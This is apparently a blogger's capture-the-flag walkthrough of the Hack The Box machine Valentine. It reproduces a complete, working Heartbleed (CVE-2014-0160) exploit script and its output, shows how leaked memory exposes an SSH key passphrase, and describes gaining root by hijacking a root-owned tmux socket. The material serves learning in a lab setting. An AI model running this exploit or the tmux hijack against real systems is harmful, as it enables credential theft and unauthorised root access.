Valentine

Valentine was next after Grandpa. I’m pretty sure I once fell asleep watching the start of the Ippsec walkthrough of this but I didn’t remember anything about it. When it booted I thought I have a feeling this is SLQi. Lol.

Ports

SSH plus HTTP and HTTPS only.

HTTP

I don’t know if it was the graphic or something buried in my subconcious but when I saw the frontpage I immediately thought this is Heartbleed. I had heard of it, but never actually encountered it before. There aren’t many bugs that have their own website. It’s essentially an information leak caused by a bug in OpenSSL. I used code from here. In fact I’m going to reproduce it here just in case that page goes offline:

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
  
import sys
import struct
import socket
import time
import select
from optparse import OptionParser
  
# ClientHello
helloPacket = (
'16 03 02 00 31'    # Content type = 16 (handshake message); Version = 03 02; Packet length = 00 31
'01 00 00 2d'       # Message type = 01 (client hello); Length = 00 00 2d

'03 02'             # Client version = 03 02 (TLS 1.1)

# Random (uint32 time followed by 28 random bytes):
'50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96'
'00'                # Session id = 00
'00 04 '            # Cipher suite length
'00 33 c0 11'       # 4 cipher suites
'01'                # Compression methods length
'00'                # Compression method 0: no compression = 0
'00 00'             # Extensions length = 0
).replace(' ', '').decode('hex')


 

# This is the packet that triggers the memory over-read.
# The heartbeat protocol works by returning to the client the same data that was sent;
# that is, if we send "abcd" the server will return "abcd".

# The flaw is triggered when we tell the server that we are sending a message that is X bytes long
# (64 kB in this case), but we send a shorter message; OpenSSL won't check if we really sent the X bytes of data.

# The server will store our message, then read the X bytes of data from its memory
# (it reads the memory region where our message is supposedly stored) and send that read message back.

# Because we didn't send any message at all
# (we just told that we sent FF FF bytes, but no message was sent after that)
# when OpenSSL receives our message, it wont overwrite any of OpenSSL's memory.
# Because of that, the received message will contain X bytes of actual OpenSSL memory.


heartbleedPacket = (
'18 03 02 00 03'    # Content type = 18 (heartbeat message); Version = 03 02; Packet length = 00 03
'01 FF FF'          # Heartbeat message type = 01 (request); Payload length = FF FF
                    # Missing a message that is supposed to be FF FF bytes long
).replace(' ', '').decode('hex')



options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')


def dump(s):
    packetData = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in s)
    print '%s' % (packetData)
    
  
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        # Wait until the socket is ready to be read
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
          

# When you request the 64 kB of data, the server won't tell you that it will send you 4 packets.
# But you expect that because TLS packets are sliced if they are bigger than 16 kB.
# Sometimes, (for some misterious reason) the server wont send you the 4 packets;
# in that case, this function will return the data that DO has arrived.

def receiveTLSMessage(s, fragments = 1):
    contentType = None
    version = None
    length = None
    payload = ''

    # The server may send less fragments. Because of that, this will return partial data.
    for fragmentIndex in range(0, fragments):
        tlsHeader = recvall(s, 5) # Receive 5 byte header (Content type, version, and length)

        if tlsHeader is None:
            print 'Unexpected EOF receiving record header - server closed connection'
            return contentType, version, payload # Return what we currently have

        contentType, version, length = struct.unpack('>BHH', tlsHeader) # Unpack the header
        payload_tmp = recvall(s, length, 5) # Receive the data that the server told us it'd send

        if payload_tmp is None:
            print 'Unexpected EOF receiving record payload - server closed connection'
            return contentType, version, payload # Return what we currently have

        print 'Received message: type = %d, ver = %04x, length = %d' % (contentType, version, len(payload_tmp))

        payload = payload + payload_tmp

    return contentType, version, payload
    

def exploit(s):
    s.send(heartbleedPacket)
    
    # We asked for 64 kB, so we should get 4 packets
    contentType, version, payload = receiveTLSMessage(s, 4)
    if contentType is None:
        print 'No heartbeat response received, server likely not vulnerable'
        return False

    if contentType == 24:
        print 'Received heartbeat response:'
        dump(payload)
        if len(payload) > 3:
            print 'WARNING: server returned more data than it should - server is vulnerable!'
        else:
            print 'Server processed malformed heartbeat, but did not return any extra data.'
        return True

    if contentType == 21:
        print 'Received alert:'
        dump(payload)
        print 'Server returned error, likely not vulnerable'
        return False
  
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
  
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(helloPacket)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    # Receive packets until we get a hello done packet
    while True:
        contentType, version, payload = receiveTLSMessage(s)
        if contentType == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if contentType == 22 and ord(payload[0]) == 0x0E:
            break
  
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    
    # Jared Stafford's version sends heartbleed packet here too. It may be a bug.
    exploit(s)
  
if __name__ == '__main__':
    main()

Right. That was a bit long. Anyway, checking it via:

┌──(root💀kali)-[/opt/htb/valentine]
└─# ./demo.py 10.10.10.79
Connecting...
Sending Client Hello...
Waiting for Server Hello...
Received message: type = 22, ver = 0302, length = 74
Received message: type = 22, ver = 0302, length = 885
Received message: type = 22, ver = 0302, length = 781
Received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
Received message: type = 24, ver = 0302, length = 16384
Received message: type = 24, ver = 0302, length = 16384
Received message: type = 24, ver = 0302, length = 16384
Received message: type = 24, ver = 0302, length = 16384
# etc - lots of stuff
WARNING: server returned more data than it should - server is vulnerable!

Okay so that’s good, but there was nothing juicy in the leaked information. Time to poke around the webserver:

──(root💀kali)-[/opt/htb/valentine]
└─# feroxbuster -u http://10.10.10.79/ -w /usr/share/seclists/Discovery/Web-Content/common.txt                                                                               130 ⨯

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.2.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.79/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/common.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.2.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200        1l        2w       38c http://10.10.10.79/index.php
403       10l       30w      283c http://10.10.10.79/.hta
200        1l        2w       38c http://10.10.10.79/index
403       10l       30w      288c http://10.10.10.79/.htpasswd
200       27l       54w      554c http://10.10.10.79/encode
301        9l       28w      308c http://10.10.10.79/dev
403       10l       30w      287c http://10.10.10.79/dev/.hta
403       10l       30w      287c http://10.10.10.79/cgi-bin/
200       25l       54w      552c http://10.10.10.79/decode
403       10l       30w      288c http://10.10.10.79/.htaccess
403       10l       30w      292c http://10.10.10.79/dev/.htpasswd
403       10l       30w      291c http://10.10.10.79/cgi-bin/.hta
403       10l       30w      292c http://10.10.10.79/server-status
200        8l       39w      227c http://10.10.10.79/dev/notes
403       10l       30w      296c http://10.10.10.79/cgi-bin/.htpasswd
403       10l       30w      292c http://10.10.10.79/dev/.htaccess
403       10l       30w      296c http://10.10.10.79/cgi-bin/.htaccess
[####################] - 42s    14043/14043   0s      found:17      errors:12     
[####################] - 35s     4681/4681    152/s   http://10.10.10.79/
[####################] - 26s     4681/4681    179/s   http://10.10.10.79/dev
[####################] - 23s     4681/4681    197/s   http://10.10.10.79/cgi-bin/

/dev, /encode and /decode sound interesting?

/dev contains a file called hype_key, which is a hex-encoded encrypted SSH private key. It also contains a note:

To do:
1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don’t use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

/encode and /decode are simple pages that do base64 encoding and decoding. But what if we do that and then run our heartbleed code? In amongst the cruft, we see this:

Received heartbeat response:
...-..P....Z.>......c.3A7..l..$`.Ig.......3......127.0.0.1..Accept: */*..Cookie: PHPSESSID=n12acqnj0efoq5etm5d12k6j85..User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0..Referer: https://127.0.0.1/decode.php..Content-Type: application/x-www-form-urlencoded..Content-Length: 42....$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==.A..........2.

Which contains the base64 encoded passphrase for our SSH private key. Now we can SSH in as hype.

Privesc

The kernel is super old (Ubuntu 12.04) and linpeas is almost certain a kernel exploit should work. I try the two that seem likely candidates, but no dice. What else?

Tmux

Linpeas also highlights tmux. I hadn’t seen this before; this Medium (ugh) post explains how to hijack the session:

Look for root /usr/bin/tmux running process that allows our group to rw in order to hijack root shell

hype@Valentine:/$ ps aux | grep root
# other stuff
root       1058  0.0  0.1  26416  1672 ?        Ss   01:45   0:00 /usr/bin/tmux -S /.devs/dev_sess
# other stuff

Check we can read/write…

hype@Valentine:/$ ls -lash /.devs/dev_sess
0 srw-rw---- 1 root hype 0 Mar 15 01:45 /.devs/dev_sess

Now do the same command you see running in your user terminal that has group membership allowing rw to attach to the session…

hype@Valentine:/$ tmux -S /.devs/dev_sess
# new tmux window
root@Valentine:/# id;hostname
uid=0(root) gid=0(root) groups=0(root)
Valentine

Neato completo! This was a bit CTF-like in the early stage but it was a nice demonstration of the bug and a privesc I hadn’t seen before. Nice.